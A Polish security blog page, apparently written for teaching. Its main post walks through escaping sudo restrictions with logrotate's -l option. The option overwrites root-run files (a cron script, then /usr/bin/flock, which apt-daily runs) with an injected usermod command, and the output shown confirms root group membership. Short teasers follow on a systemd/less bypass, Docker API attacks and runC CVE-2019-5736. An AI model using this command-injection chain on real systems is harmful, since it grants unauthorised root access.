K

olejna część ucieczki z sudo będzie opierała się na wykorzystaniu programu logrotate. Zakładamy, że w systemie (tutaj Ubuntu 22.04) jest zainstalowany pakiet man-db, a użytkownik posiada możliwość uruchamiania programu logrotate z dowolnymi argumentami:

agresor ALL=(ALL:ALL) NOPASSWD: /usr/sbin/logrotate *

Okazuje się, że jeśli użyjemy parametru -l jesteśmy w stanie nadpisać zawartość dowolnego pliku traktując go jako dziennik wykonania programu logrotate. Dlatego możliwości wykorzystania tej luki są wszechstronne. Dla eskalacji uprawnień najlepszym scenariuszem jest, aby nadpisywany plik był wykonywany z uprawnieniami administratora. Przykładem tutaj może być skrypt znajdujący się w ścieżce: /etc/cron.daily/man-db. Uruchamiając logrotate za pomocą poleceń:

sudo logrotate -l /etc/cron.daily/man-db \
'2>/dev/null;/usr/sbin/usermod -a -G root agresor;exit 0;'

Nadpiszemy zawartość skryptu man-db tekstem:

error: cannot stat 2>/dev/null;/usr/sbin/usermod -a -G root agresor;exit 0;
: No such file or directory
Reading state from file: /var/lib/logrotate/status
Allocating hash table for state file, size 64 entries

I w tym momencie może się nam wydawać, że wystarczy poczekać jeden dzień na kolejne uruchomienie daemona cron(tab), aby skrypt uruchomił polecenie usermod i dodał użytkownika agresor do grupy administracyjnej. Nic bardziej mylnego – ponieważ każdy skrypt umieszczony w ścieżkach /etc/cron.(daily|weekly|monthly) musi zaczynać się od sekwencji shebang. W przeciwnym wypadku otrzymamy błąd run-parts: failed to exec script.sh: Exec format error:

root@darkstar:~# test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
/etc/cron.daily/man-db:
run-parts: failed to exec /etc/cron.daily/man-db: Exec format error
run-parts: /etc/cron.daily/man-db exited with return code 1

We need to go deeper…

Skoro skrypt w pierwszej linii wykonywania musi mieć odpowiedni format – to może warto zmodyfikować jakiś nieznaczący plik wewnątrz tego skryptu? Zresztą jak spojrzymy w zawartość skryptów w /etc/cron.(daily|weekly|monthly) to większość z nich nie jest wykonywana ze względu na systemd

# Skip if systemd is running.
if [ -d /run/systemd/system ]; then
  exit 0
fi

Spójrzmy zatem, co zamierza z opóźnieniem uruchomić systemd:

root@darkstar:~# systemctl list-timers 
NEXT     
Wed 2023-10-04 00:30:28 CEST 
LEFT
9min 2s left  
LAST
Tue 2023-07-04 18:02:24 CEST 
PASSED
2 months 30 days ago  
UNIT
apt-daily.timer                
ACTIVATES
apt-daily.service

Mamy szczęście. Za 9 minut wystartuje serwis apt-daily. Zobaczmy, co uruchamia:

agresor@darkstar:/usr/bin$ grep Exec /lib/systemd/system/apt-daily.service
ExecStartPre=-/usr/lib/apt/apt-helper wait-online
ExecStart=/usr/lib/apt/apt.systemd.daily update

Skrypt /usr/lib/apt/apt.systemd.daily z argumentem update. Jeśli uruchomimy go z naszego użytkownika może uda znaleźć się plik binarny lub inny skrypt odpowiedni do modyfikacji:

agresor@darkstar:~$ bash -x /usr/lib/apt/apt.systemd.daily update
+ '[' update = lock_is_held ']'
++ apt-config shell StateDir Dir::State/d
+ eval 'StateDir='\''/var/lib/apt/'\'''
++ StateDir=/var/lib/apt/
+ exec
/usr/lib/apt/apt.systemd.daily: line 326: /var/lib/apt//daily_lock: Permission denied
+ flock -w 3600 3
flock: 3: Bad file descriptor
+ echo 'E: Could not acquire lock'
E: Could not acquire lock
+ exit 1

flock wyglada na dobrego kandydata:

cp /usr/bin/flock /tmp/flock_to_restore
sudo logrotate -l /usr/bin/flock \
'2>/dev/null; /usr/bin/echo > /tmp/Pwn3d; /usr/sbin/usermod -a -G root agresor; exit 0;'

I rzeczywiście po uruchomieniu przez apt-daily.timer serwisu apt-daily.service wyzwolił on zmodyfikowany plik /usr/bin/flock, który wykonał w systemie nasze instrukcje z prawami administratora:

root@darkstar:~# grep apt-daily.service /var/log/syslog
Oct  4 00:31:45 darkstar systemd[1]: apt-daily.service: Deactivated successfully.
Oct  4 00:31:45 darkstar systemd[1]: apt-daily.service: Consumed 31.311s CPU time.
root@darkstar:~# ls -al /tmp/Pwn3d
-rw-r--r-- 1 root root 1 Oct  4 00:30 /tmp/Pwn3d
root@darkstar:~# id agresor
uid=1000(agresor) gid=1000(agresor) groups=1000(agresor),0(root)

Przy okazji omawiania tego przykładu warto wspomnieć o projekcie, który powstał na bazie GTFOBins. GTFOArgs to wyselekcjonowana lista plików binarnych systemów *nix, którymi można manipulować w celu wstrzykiwania argumentów, co może skutkować powstawaniem luk w zabezpieczeniach, czego byliśmy właśnie świadkami.

Więcej informacji: root with a single command: sudo logrotate, Another way to exploit ‘sudo logrotate’, Abusing a race condition in logrotate to elevate privileges

C

iekawa podatność pojawiła się w systemd, która bazuje na jednej z ucieczek z programu sudo. Otóż wersje systemd w wersji sprzed 247 umożliwiają eskalację uprawnień poprzez ominięcie ograniczeń uprawnień nakładanych przez konfigurację (/etc/sudoers) programu sudo dla danego użytkownika. Na przykład systemd w podatnych wersjach nie ustawia wartości “1” dla zmiennej LESSSECURE, dlatego program less biorący udział w tym łańcuchu zdarzeń jest w stanie uruchomić inny program (np. powłokę shell) z uprawnieniami administratora systemu. Wystarczy zmusić terminal do przekazania danych wyjściowych polecenia systemctl do programu less, co możemy bardzo prosto osiągnąć poprzez zmniejszenie okna samego terminala.
[ czytaj całość… ]

W

pierwszej części poznaliśmy możliwości zaatakowania niezabezpieczonych API REST daemonów Docker. W tej części dokończymy kilka aspektów powiązanych z poprzednimi metodami. Po pierwsze nie musimy wykonywać wszystkich poleceń za pomocą stricte żądań HTTP – były one wykonane, aby przekazać Czytelnikowi widzę, jak to wygląda z niższego poziomu. Docker posiada własną wersję klienta przeznaczoną do takiej komunikacji. Dlaczego jeśli wskażemy mu zdalny host możemy wydawać wszystkie polecenia za pomocą lokalnego klienta.
[ czytaj całość… ]

D

ocker jako jedno z rozwiązań dla tworzenia kontenerów zyskał ogromną popularność w ciągu kilku ostatnich lat i stał się nowym sposobem pakowania, dostarczania i wdrażania aplikacji. Niestety, jeśli dana technologia się szybko rozwija i jest szeroko adoptowana przez społeczność, staje się również cennym celem dla adwersarzy. Na początku pojawiły się złośliwe obrazy. Były one umieszczane w publicznych rejestrach. Jeśli użytkownik sam lub za namową cyberprzestępcy skłonił się do skorzystania z takiego obrazu w rzeczywistości pobierał i wykonywał złośliwe ładunki (np. koparki kryptowalut), umożliwiał wejście przez tylną furtkę (ang. backdoor), przeszukiwanie logów dla poufnych informacji, czy dostęp do systemu plików hosta z kontenera.
[ czytaj całość… ]

P

oważna luka w zabezpieczeniach została odkryta w głównym kodzie kontenera – runC, która wpływa na kilka systemów open source do zarządzania kontenerami. Umożliwia ona atakującemu potencjalną ucieczkę z kontenera systemu Linux i uzyskanie nieautoryzowanego dostępu na poziomie administratora systemu do systemu operacyjnego hosta. Luka, która otrzymała numer CVE-2019-5736 została odkryta przez badaczy bezpieczeństwa Adama Iwaniuka i Borysa Popławskiego i ujawniona publicznie przez Aleksa Sarai, starszego inżyniera oprogramowania i opiekuna runC w SUSE.
[ czytaj całość… ]

J

eśli powłoka bash zostanie uruchomiona jako rbash (link symboliczny) lub z opcjami --restricted lub -r – to przejdzie w tryb ograniczony. Ograniczona powłoka służy do umieszczania użytkowników w bardziej kontrolowanym środowisku niż jej standardowy wariant. Zachowuje się identycznie jak bash z poniższymi ograniczeniami:
[ czytaj całość… ]

W nawiązaniu do poprzednich dwóch edycji oraz odpowiadając na pytanie: Jakie jeszcze przykładowe programy umożliwiają ucieczkę z sudo? – Możemy przyjrzeć się następującym przypadkom:
[ czytaj całość… ]

U

żytkownicy OpenSSH podczas nawiązywania lub nawiązanych sesji mają do dyspozycji kilka sekwencji, które mogą ułatwić zarządzanie połączeniem. W celu ich wylistowania (dostępne są różne opcje dla normalnych i multipleksowanych sesji) wystarczy użyć kombinacji: "~" oraz "?" podczas wykony. Powinniśmy otrzymać mniej więcej listing:
[ czytaj całość… ]